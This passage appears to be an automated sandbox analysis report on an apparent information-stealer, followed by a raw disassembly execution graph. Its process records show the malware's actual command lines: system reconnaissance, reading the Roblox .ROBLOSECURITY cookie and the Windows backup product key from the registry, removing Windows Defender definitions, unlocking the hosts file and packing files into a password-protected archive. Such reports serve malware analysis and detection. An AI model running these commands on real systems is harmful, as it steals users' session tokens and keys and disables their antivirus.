                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:45
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "getmac"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:46
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:47
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:48
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:49
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\getmac.exe
                                            Wow64 process (32bit):false
                                            Commandline:getmac
                                            Imagebase:0x7ff7dae60000
                                            File size:90'112 bytes
                                            MD5 hash:7D4B72DFF5B8E98DD1351A401E402C33
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:50
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\attrib.exe
                                            Wow64 process (32bit):false
                                            Commandline:attrib -r C:\Windows\System32\drivers\etc\hosts
                                            Imagebase:0x7ff7e8b60000
                                            File size:23'040 bytes
                                            MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:51
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:52
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:53
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:54
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:55
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\attrib.exe
                                            Wow64 process (32bit):false
                                            Commandline:attrib +r C:\Windows\System32\drivers\etc\hosts
                                            Imagebase:0x7ff7e8b60000
                                            File size:23'040 bytes
                                            MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:56
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:57
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:58
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:59
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:60
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tasklist.exe
                                            Wow64 process (32bit):false
                                            Commandline:tasklist /FO LIST
                                            Imagebase:0x7ff7782d0000
                                            File size:106'496 bytes
                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:61
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:62
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:63
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:64
                                            Start time:01:00:05
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:65
                                            Start time:01:00:06
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:66
                                            Start time:01:00:06
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:67
                                            Start time:01:00:06
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:68
                                            Start time:01:00:06
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:69
                                            Start time:01:00:07
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                            Imagebase:0x7ff7699e0000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:70
                                            Start time:01:00:07
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:71
                                            Start time:01:00:07
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:72
                                            Start time:01:00:09
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:73
                                            Start time:01:00:09
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:74
                                            Start time:01:00:09
                                            Start date:16/05/2024
                                            Path:C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *
                                            Imagebase:0x7ff70f370000
                                            File size:630'736 bytes
                                            MD5 hash:9C223575AE5B9544BC3D69AC6364F75E
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Antivirus matches:
                                            • Detection: 0%, ReversingLabs
                                            Has exited:true

                                            General

                                            Target ID:76
                                            Start time:01:00:13
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:77
                                            Start time:01:00:13
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:78
                                            Start time:01:00:13
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\wbem\WMIC.exe
                                            Wow64 process (32bit):false
                                            Commandline:wmic os get Caption
                                            Imagebase:0x7ff77dda0000
                                            File size:576'000 bytes
                                            MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:79
                                            Start time:01:00:14
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:80
                                            Start time:01:00:14
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:81
                                            Start time:01:00:14
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\wbem\WMIC.exe
                                            Wow64 process (32bit):false
                                            Commandline:wmic computersystem get totalphysicalmemory
                                            Imagebase:0x7ff77dda0000
                                            File size:576'000 bytes
                                            MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:82
                                            Start time:01:00:15
                                            Start date:16/05/2024
                                            Path:C:\Program Files\Windows Defender\MpCmdRun.exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                            Imagebase:0x7ff6894a0000
                                            File size:468'120 bytes
                                            MD5 hash:B3676839B2EE96983F9ED735CD044159
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:83
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:84
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:85
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\wbem\WMIC.exe
                                            Wow64 process (32bit):false
                                            Commandline:wmic csproduct get uuid
                                            Imagebase:0x7ff77dda0000
                                            File size:576'000 bytes
                                            MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:86
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:87
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:88
                                            Start time:01:00:16
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:89
                                            Start time:01:00:17
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:90
                                            Start time:01:00:17
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:91
                                            Start time:01:00:17
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\wbem\WMIC.exe
                                            Wow64 process (32bit):false
                                            Commandline:wmic path win32_VideoController get name
                                            Imagebase:0x7ff77dda0000
                                            File size:576'000 bytes
                                            MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:92
                                            Start time:01:00:18
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:93
                                            Start time:01:00:18
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:94
                                            Start time:01:00:18
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:96
                                            Start time:01:00:22
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:false
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            Disassembly

                                            Reset < >

                                              Execution Graph

                                              Execution Coverage:10.6%
                                              Dynamic/Decrypted Code Coverage:0%
                                              Signature Coverage:23.4%
                                              Total number of Nodes:2000
                                              Total number of Limit Nodes:55
                                              execution_graph 20588 7ff6ffd19d9b 20590 7ff6ffd19da1 20588->20590 20589 7ff6ffd1b850 12 API calls 20591 7ff6ffd1a656 20589->20591 20590->20589 20590->20591 19282 7ff6ffd31720 19283 7ff6ffd31744 19282->19283 19285 7ff6ffd31754 19282->19285 19284 7ff6ffd25cb4 memcpy_s 11 API calls 19283->19284 19303 7ff6ffd31749 19284->19303 19286 7ff6ffd31a34 19285->19286 19287 7ff6ffd31776 19285->19287 19288 7ff6ffd25cb4 memcpy_s 11 API calls 19286->19288 19289 7ff6ffd31797 19287->19289 19428 7ff6ffd31ddc 19287->19428 19290 7ff6ffd31a39 19288->19290 19293 7ff6ffd31809 19289->19293 19295 7ff6ffd317bd 19289->19295 19299 7ff6ffd317fd 19289->19299 19292 7ff6ffd2b700 __free_lconv_num 11 API calls 19290->19292 19292->19303 19297 7ff6ffd2f948 memcpy_s 11 API calls 19293->19297 19313 7ff6ffd317cc 19293->19313 19294 7ff6ffd318b6 19307 7ff6ffd318d3 19294->19307 19314 7ff6ffd31925 19294->19314 19443 7ff6ffd2a474 19295->19443 19300 7ff6ffd3181f 19297->19300 19299->19294 19299->19313 19449 7ff6ffd381dc 19299->19449 19304 7ff6ffd2b700 __free_lconv_num 11 API calls 19300->19304 19302 7ff6ffd2b700 __free_lconv_num 11 API calls 19302->19303 19309 7ff6ffd3182d 19304->19309 19305 7ff6ffd317c7 19310 7ff6ffd25cb4 memcpy_s 11 API calls 19305->19310 19306 7ff6ffd317e5 19306->19299 19312 7ff6ffd31ddc 45 API calls 19306->19312 19308 7ff6ffd2b700 __free_lconv_num 11 API calls 19307->19308 19311 7ff6ffd318dc 19308->19311 19309->19299 19309->19313 19317 7ff6ffd2f948 memcpy_s 11 API calls 19309->19317 19310->19313 19323 7ff6ffd318e1 19311->19323 19485 7ff6ffd3422c 19311->19485 19312->19299 19313->19302 19314->19313 19315 7ff6ffd3422c 40 API calls 19314->19315 19316 7ff6ffd31962 19315->19316 19318 7ff6ffd2b700 __free_lconv_num 11 API calls 19316->19318 19320 7ff6ffd3184f 19317->19320 19321 7ff6ffd3196c 19318->19321 19325 7ff6ffd2b700 __free_lconv_num 11 API calls 19320->19325 19321->19313 19321->19323 19322 7ff6ffd31a28 19326 7ff6ffd2b700 __free_lconv_num 11 API calls 19322->19326 19323->19322 19328 7ff6ffd2f948 memcpy_s 11 API calls 19323->19328 19324 7ff6ffd3190d 19327 7ff6ffd2b700 __free_lconv_num 11 API calls 19324->19327 19325->19299 19326->19303 19327->19323 19329 7ff6ffd319b0 19328->19329 19330 7ff6ffd319b8 19329->19330 19331 7ff6ffd319c1 19329->19331 19333 7ff6ffd2b700 __free_lconv_num 11 API calls 19330->19333 19332 7ff6ffd2b25c __std_exception_copy 37 API calls 19331->19332 19334 7ff6ffd319d0 19332->19334 19335 7ff6ffd319bf 19333->19335 19336 7ff6ffd319d8 19334->19336 19337 7ff6ffd31a63 19334->19337 19340 7ff6ffd2b700 __free_lconv_num 11 API calls 19335->19340 19494 7ff6ffd382f4 19336->19494 19339 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19337->19339 19342 7ff6ffd31a77 19339->19342 19340->19303 19345 7ff6ffd31aa0 19342->19345 19351 7ff6ffd31ab0 19342->19351 19343 7ff6ffd31a20 19348 7ff6ffd2b700 __free_lconv_num 11 API calls 19343->19348 19344 7ff6ffd319ff 19346 7ff6ffd25cb4 memcpy_s 11 API calls 19344->19346 19347 7ff6ffd25cb4 memcpy_s 11 API calls 19345->19347 19349 7ff6ffd31a04 19346->19349 19350 7ff6ffd31aa5 19347->19350 19348->19322 19353 7ff6ffd2b700 __free_lconv_num 11 API calls 19349->19353 19352 7ff6ffd31d93 19351->19352 19354 7ff6ffd31ad2 19351->19354 19355 7ff6ffd25cb4 memcpy_s 11 API calls 19352->19355 19353->19335 19356 7ff6ffd31aef 19354->19356 19413 7ff6ffd31ec4 19354->19413 19357 7ff6ffd31d98 19355->19357 19360 7ff6ffd31b63 19356->19360 19363 7ff6ffd31b17 19356->19363 19372 7ff6ffd31b57 19356->19372 19359 7ff6ffd2b700 __free_lconv_num 11 API calls 19357->19359 19359->19350 19362 7ff6ffd31b26 19360->19362 19368 7ff6ffd2f948 memcpy_s 11 API calls 19360->19368 19383 7ff6ffd31b8b 19360->19383 19361 7ff6ffd31c16 19371 7ff6ffd31c33 19361->19371 19380 7ff6ffd31c86 19361->19380 19367 7ff6ffd2b700 __free_lconv_num 11 